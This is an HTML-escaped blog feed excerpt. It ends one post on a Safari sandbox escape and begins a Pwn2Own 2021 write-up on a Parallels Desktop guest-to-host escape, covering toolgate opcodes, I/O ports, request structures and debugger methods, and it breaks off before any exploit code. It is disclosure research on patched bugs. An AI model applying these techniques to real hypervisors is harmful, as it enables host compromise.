&lt;p&gt;The most difficult part of this exploit was probably the need for info leaks, which took the exploit off on a tangent focused on bypassing the &lt;code class=&quot;highlighter-rouge&quot;&gt;zone_require&lt;/code&gt; mitigation for ports. Changes to the sandbox since Pwn2Own 2021 have prohibited certain function calls that made this technique viable within the Safari sandbox, although it’s possible to modify the technique slightly to work around these new restrictions.&lt;/p&gt;

&lt;p&gt;The vulnerability discussed here was patched in macOS Big Sur &lt;a href=&quot;https://support.apple.com/en-us/HT212529&quot;&gt;11.4&lt;/a&gt; and assigned CVE-2021-30735. The exploit code for both the standalone EOP and full chain can be found &lt;a href=&quot;https://github.com/ret2/Pwn2Own-2021-Safari&quot;&gt;here&lt;/a&gt; on GitHub.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">To escape the Safari sandbox for our Pwn2Own 2021 submission, we exploited a vulnerability in the Intel graphics acceleration kernel extensions (drivers) on macOS. This post will detail the bug and how we went about exploiting it to achieve reliable kernel code execution. We delayed publishing this writeup as we discovered and reported a multitude of similar issues to Apple over the past year, the last of which was patched recently. With other researchers catching on, Intel graphics-related CVEs have become increasingly common among Apple’s security update listings. Quite recently, there was even an exploit discovered in-the-wild targeting the same Intel graphics kernel extensions discussed in this post. A demo of the exploit obtaining kernel code execution from unprivileged user context</summary></entry><entry><title type="html">Exploiting an Unbounded memcpy in Parallels Desktop</title><link href="https://blog.ret2.io/2022/05/19/pwn2own-2021-parallels-desktop-exploit/" rel="alternate" type="text/html" title="Exploiting an Unbounded memcpy in Parallels Desktop" /><published>2022-05-19T09:30:00+00:00</published><updated>2022-05-19T09:30:00+00:00</updated><id>https://blog.ret2.io/2022/05/19/pwn2own-2021-parallels-desktop-exploit</id><content type="html" xml:base="https://blog.ret2.io/2022/05/19/pwn2own-2021-parallels-desktop-exploit/">&lt;p&gt;This post details the development of a guest-to-host virtualization escape for &lt;a href=&quot;https://www.parallels.com/&quot;&gt;Parallels Desktop&lt;/a&gt; on macOS, as used in our successful &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results&quot;&gt;Pwn2Own 2021&lt;/a&gt; entry. Given privileged code execution in the guest (i.e. via kernel module), the exploit obtains code execution in the Parallels application process running on the host system.&lt;/p&gt;

&lt;p&gt;After providing a brief look at the approach I took towards evaluating Parallels and exploring some of its relevant attack surface, the remainder of the post will demonstrate how we were able to reliably exploit an unbounded &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy(...)&lt;/code&gt; corruption style vulnerability to achieve arbitrary code execution.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_parallels_demo.mp4&quot; target=&quot;_blank&quot; data-title=&quot;A demo of the exploit running inside the guest popping calc on the host&quot;&gt;
    
      &lt;video style=&quot;width: 100%&quot; controls=&quot;&quot; playsinline=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
        &lt;source src=&quot;/assets/img/p2o_2021_parallels_demo.mp4&quot; alt=&quot;&quot; /&gt;
      &lt;/video&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A demo of the exploit running inside the guest popping calc on the host&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.parallels.com/products/desktop&quot;&gt;Parallels Desktop&lt;/a&gt; is a virtualization product for macOS, comparable to other virtualization solutions such as &lt;a href=&quot;https://www.virtualbox.org/&quot;&gt;VirtualBox&lt;/a&gt; or &lt;a href=&quot;https://www.vmware.com/&quot;&gt;VMWare&lt;/a&gt;. It acts as a hypervisor to allow running guest operating systems (e.g. Windows, Linux) on a macOS host &lt;em&gt;‘all without rebooting!’&lt;/em&gt; (part of their marketing byline).&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/parallels_overview.png&quot; data-lightbox=&quot;parallels_overview.png&quot; data-title=&quot;Parallels Desktop is a consumer-oriented virtualization solution on macOS systems&quot;&gt;
    
      &lt;img src=&quot;/assets/img/parallels_overview.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Parallels Desktop is a consumer-oriented virtualization solution on macOS systems&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;My primary motivation for taking a look at Parallels was due to its sudden inclusion in Pwn2Own 2021. Prior to this, nobody at RET2 had actually used Parallels before, let alone tried poking at it for vulnerabilities.&lt;/p&gt;

&lt;p&gt;When faced with a new target, it can be a helpful &lt;a href=&quot;https://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/#reconnaissance-101&quot;&gt;first step&lt;/a&gt; to see what previous work already exists, be it writeups, bugs, exploits, or other relevant documentation/materials. At the time (early 2021), public research on Parallels was pretty scarce, save for one &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device&quot;&gt;ZDI blog post&lt;/a&gt; and a handful of ZDI advisories. Since Pwn2Own, a few more resources [&lt;a href=&quot;https://trenchant.io/pwn2own-2021-parallels-desktop-guest-to-host-escape/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://zerodayengineering.com/projects/slides/ZDE2021_AdvancedSimplePwn2Own2021.pdf&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2021/9/9/analysis-of-a-parallels-desktop-stack-clash-vulnerability-and-variant-hunting-using-binary-ninja&quot;&gt;3&lt;/a&gt;] have trickled out, but the number of public works is still limited.&lt;/p&gt;

&lt;h2 id=&quot;identifying-guest-to-host-attack-surface&quot;&gt;Identifying Guest-to-Host Attack Surface&lt;/h2&gt;

&lt;p&gt;After creating a new VM and spending some time getting acquainted with Parallels’ features, some of the more interesting functionality that immediately stood out was the numerous “tools” made available to the guest VM.&lt;/p&gt;

&lt;p&gt;Guest tools (or &lt;a href=&quot;https://www.parallels.com/blogs/parallels-tools/&quot;&gt;Parallels Tools&lt;/a&gt;) implicitly provide most of the sharing features offered by Parallels: things like drag-and-drop, copy-pasting between host and guest, shared folders, and dynamic screen resolution.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;At this point, it was quickly apparent that some of Parallels’ by-design &lt;a href=&quot;https://kb.parallels.com/125544&quot;&gt;shared folder behavior&lt;/a&gt; could be used for a guest-to-host escape. As part of the Pwn2Own meta-game, I opted to ignore these issues fearing a possible collision (it seemed at least two other teams ended up finding these same issues!)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My focus shifted to the host-side implementation of these tools, presuming it was likely that the guest directly controlled input to that part of the code. To pursue this route, a binary to reverse would be helpful. By spawning a few VMs and looking at the system process list, we can infer &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; is the binary that runs for each guest.&lt;/p&gt;

&lt;h2 id=&quot;investigating-the-parallels-host-process&quot;&gt;Investigating the Parallels Host Process&lt;/h2&gt;

&lt;p&gt;While evaluating the Parallels worker process running on the host, we are most interested in identifying the parts of the code to which we can directly control input. The &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Mach-O&quot;&gt;Mach-O&lt;/a&gt; was massive, and putting in some reversing effort starting at the entrypoint did not prove immediately helpful.&lt;/p&gt;

&lt;p&gt;I chose to instead look at a legitimate use case of the guest tools, with the hope that this would help identify where to start looking in the host &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; binary. The guest side of the tools implementation takes the form of several kernel modules, which act as a client for the interface provided by the host.&lt;/p&gt;

&lt;p&gt;Fortunately, for Linux guests, Parallels provides source code for the kernel modules, which must be built from source depending on the specific Linux distribution. By reading the source, we can infer:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;how the guest provides input to the host side of the tools implementation&lt;/li&gt;
  &lt;li&gt;how this interface is intended to work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are five kernel modules, each with separate source directories:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_tg&lt;/code&gt;: interfaces with the “toolgate”, a generic way to pass data to operations identified by opcode&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_eth&lt;/code&gt;: virtual network&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_fs&lt;/code&gt;: shared folders&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_fs_freeze&lt;/code&gt;: a suspend/resume helper dealing with filesystem structures&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vid&lt;/code&gt;: video, potentially with some sort of DRM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the header files for &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_tg&lt;/code&gt; included opcode definitions for a multitude of toolgate operations, and based on the large number of them, this interface appealed the most.&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// mouse pointer requests (from PCI video)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_SET_MOUSE_POINTER &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x100&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_HIDE_MOUSE_POINTER &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x101&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_DISABLE_MOUSE_POINTER &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x102&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// multi-head support (from PCI video)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_VID_QUERY_HEADS &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x110&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_VID_ENABLE_HEAD &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x111&lt;/span&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// shared folders requests&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_FS_MIN &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x200&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_FS_GETLIST &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x200&lt;/span&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// CPTool requests&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_CPTOOL_MIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8010&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_CPTOOL_HOST_TO_GUEST_COMMAND &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8010&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_CPTOOL_GUEST_TO_HOST_COMMAND &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8011&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_CPTOOL_MAX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8012&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// Shell integration tool&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_SHELLINT_MIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8020&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_SHELLINT_ENABLED &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8020&lt;/span&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// OpenGL&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_GL_VERSION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8130&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; TG_REQUEST_GL_CREATE_PROCESS &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8131&lt;/span&gt;&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;image-wrapper&quot;&gt;
&lt;p class=&quot;image-caption&quot;&gt;A sample of some of the opcodes defined in prl_tg/Toolgate/Interfaces/Tg.h&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;From the guest tools source code, we can see that the guest kernel invokes toolgate operations by writing the physical address of a request structure to an I/O port. The request structure contains an opcode, size, and optionally inline data and/or “out-of-line” buffers.&lt;/p&gt;

&lt;p&gt;While certainly useful context, none of the information we’ve gathered from the guest tools source code can be taken as ground truth – It is merely a suggestion of intent. We’ll need to find the host-side implementation of the toolgate to see how things really (don’t) work.&lt;/p&gt;

&lt;h2 id=&quot;locating-the-toolgate-entrypoint&quot;&gt;Locating the Toolgate Entrypoint&lt;/h2&gt;

&lt;p&gt;Shared folders were something easily poked at (i.e. with simple command-line file operations in the guest), and internally appeared to be implemented with toolgate requests. Finding the host implementation of shared folders seemed a promising path to finding the overall toolgate implementation.&lt;/p&gt;

&lt;p&gt;The following procedure can be used to locate the &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; function responsible for shared folders requests:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;create a guest with tools installed; default config shares the home directory at &lt;code class=&quot;highlighter-rouge&quot;&gt;/media/psf/Home&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;on the host, attach (e.g. with lldb) to the &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; process and set a breakpoint on &lt;a href=&quot;https://man7.org/linux/man-pages/man2/unlink.2.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;unlink&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;in the guest, create and delete a file in the shared folder, hitting the breakpoint&lt;/li&gt;
  &lt;li&gt;look at the backtrace&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Matching up the backtrace functions with those in your disassembler/decompiler of choice, you should see a function with a switch-case over the various toolgate opcodes for shared folders requests.&lt;/p&gt;

&lt;p&gt;However, this function solely handles shared folders requests, and reversing deeper into the backtrace does not bring us to the initial toolgate entrypoint as we hoped… The shared folders requests are handled on a separate thread; the requests are taken from a queue and handled asynchronously. Our search will now turn to finding where the queue is populated.&lt;/p&gt;

&lt;p&gt;This can be done with watchpoints:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;set a breakpoint where the requests are taken off the queue&lt;/li&gt;
  &lt;li&gt;in the guest, trigger a shared folders toolgate request, hitting the breakpoint&lt;/li&gt;
  &lt;li&gt;note the address of the array used for the queue slots, set a watchpoint on the next array slot&lt;/li&gt;
  &lt;li&gt;in the guest, trigger another shared folders request, hitting the watchpoint&lt;/li&gt;
  &lt;li&gt;look at the backtrace&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The watchpoint should trigger on a thread named &lt;code class=&quot;highlighter-rouge&quot;&gt;VCPU0&lt;/code&gt; (or potentially another “virtual CPU” thread if there are multiple cores), and reversing through the backtrace should eventually reveal the toolgate entrypoint, where the guest-supplied request structure is parsed and interpreted.&lt;/p&gt;

&lt;h2 id=&quot;toolgate-protocol-and-handlers&quot;&gt;Toolgate Protocol and Handlers&lt;/h2&gt;

&lt;p&gt;Using the guest tools source as a guide, we can reverse engineer how toolgate requests are parsed and handled.&lt;/p&gt;

&lt;p&gt;To interact with the toolgate, the guest writes a physical address to a &lt;code class=&quot;highlighter-rouge&quot;&gt;TG_PORT_SUBMIT&lt;/code&gt; I/O port. Other ports are indicated in the guest tools source (these port numbers would be offset by a base port):&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;/* Symbolic offsets to registers. */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;enum&lt;/span&gt; TgRegisters {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_PORT_STATUS &amp;nbsp;= &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_PORT_MASK &amp;nbsp; &amp;nbsp;= &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_PORT_CAPS &amp;nbsp; &amp;nbsp;= &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x4&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_PORT_SUBMIT &amp;nbsp;= &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x8&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_PORT_CANCEL &amp;nbsp;= &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x10&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_MAX_PORT &amp;nbsp; &amp;nbsp; = &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x18&lt;/span&gt;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
For example, the base port in the guest is usually &lt;code class=&quot;highlighter-rouge&quot;&gt;0x8000&lt;/code&gt;, so to submit a toolgate request, the physical address of the request structure would be written to port &lt;code class=&quot;highlighter-rouge&quot;&gt;0x8008&lt;/code&gt; with the &lt;code class=&quot;highlighter-rouge&quot;&gt;out&lt;/code&gt; &lt;a href=&quot;https://www.felixcloutier.com/x86/out&quot;&gt;instruction&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The host then expects a &lt;code class=&quot;highlighter-rouge&quot;&gt;TG_PAGED_REQUEST&lt;/code&gt; structure to be present at the guest physical address (again, structure definitions taken from guest tools source):&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem;  color: rgb(212, 212, 212); background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; _TG_PAGED_REQUEST {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; Request;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; Status;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; RequestSize;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;short&lt;/span&gt; InlineByteCount;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;short&lt;/span&gt; BufferCount;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_UINT64 &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;RequestPages&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;/*RequestPageCount*/&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// char InlineBytes[(InlineByteCount + 7) &amp;amp; ~7];&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// TG_PAGED_BUFFER Buffers[BufferCount];&lt;/span&gt;&lt;/div&gt;&lt;div&gt;} TG_PAGED_REQUEST;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; _TG_PAGED_BUFFER {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; TG_UINT64 Va;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;ByteCount&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; Writable:&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; Reserved:&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;31&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// TG_UINT64 Pages[];&lt;/span&gt;&lt;/div&gt;&lt;div&gt;} TG_PAGED_BUFFER;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Request&lt;/code&gt;: the “opcode” of the toolgate operation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Status&lt;/code&gt;: a return value written by the host to indicate success, an error, or pending
    &lt;ul&gt;
      &lt;li&gt;Certain requests are asynchronous (and will be pending), as we saw with shared folders earlier. These can be canceled by writing the request’s physical address to the &lt;code class=&quot;highlighter-rouge&quot;&gt;TG_PORT_CANCEL&lt;/code&gt; port.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;RequestSize&lt;/code&gt;: size of the variably sized &lt;code class=&quot;highlighter-rouge&quot;&gt;TG_PAGED_REQUEST&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;RequestPages&lt;/code&gt;: physical page frame numbers for each page in the &lt;code class=&quot;highlighter-rouge&quot;&gt;TG_PAGED_REQUEST&lt;/code&gt; structure
    &lt;ul&gt;
      &lt;li&gt;Only really necessary if the request spans multiple pages. &lt;code class=&quot;highlighter-rouge&quot;&gt;RequestPages[0]&lt;/code&gt; is somewhat redundant considering the physical address written to the I/O port&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers&lt;/code&gt;: “out-of-line” data blobs, again with physical page frame numbers for each page of each blob
    &lt;ul&gt;
      &lt;li&gt;The name &lt;code class=&quot;highlighter-rouge&quot;&gt;Va&lt;/code&gt; implying virtual address is a bit odd, but in reality only the page offset (&lt;code class=&quot;highlighter-rouge&quot;&gt;Va &amp;amp; 0xfff&lt;/code&gt;) matters, the &lt;code class=&quot;highlighter-rouge&quot;&gt;Pages&lt;/code&gt; array defines the actual location in guest memory by page frame number&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The host is free to use the inline data and/or the buffers both as input and/or output. For example, a specific opcode may expect &lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers[0]&lt;/code&gt; to be an input buffer, and will use &lt;code class=&quot;highlighter-rouge&quot;&gt;Buffers[1]&lt;/code&gt; as the output.&lt;/p&gt;

&lt;p&gt;In &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt;, the toolgate is represented by a &lt;code class=&quot;highlighter-rouge&quot;&gt;CPCIToolgate&lt;/code&gt; class. One member is an array of registered handler entries containing a minimum/maximum opcode and the handler object itself. Upon receiving a guest request, this array is searched through to find the handler (if any) that handles the given opcode. Then a virtual call on the handler object does all the operation-specific work.&lt;/p&gt;

&lt;p&gt;The members of this array will define our attack surface. Breaking in the debugger and dumping the handlers array, we can map opcode ranges to their handlers:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Opcode range (inclusive) | Handler C++ class name  |
| ------------------------ | ----------------------- |
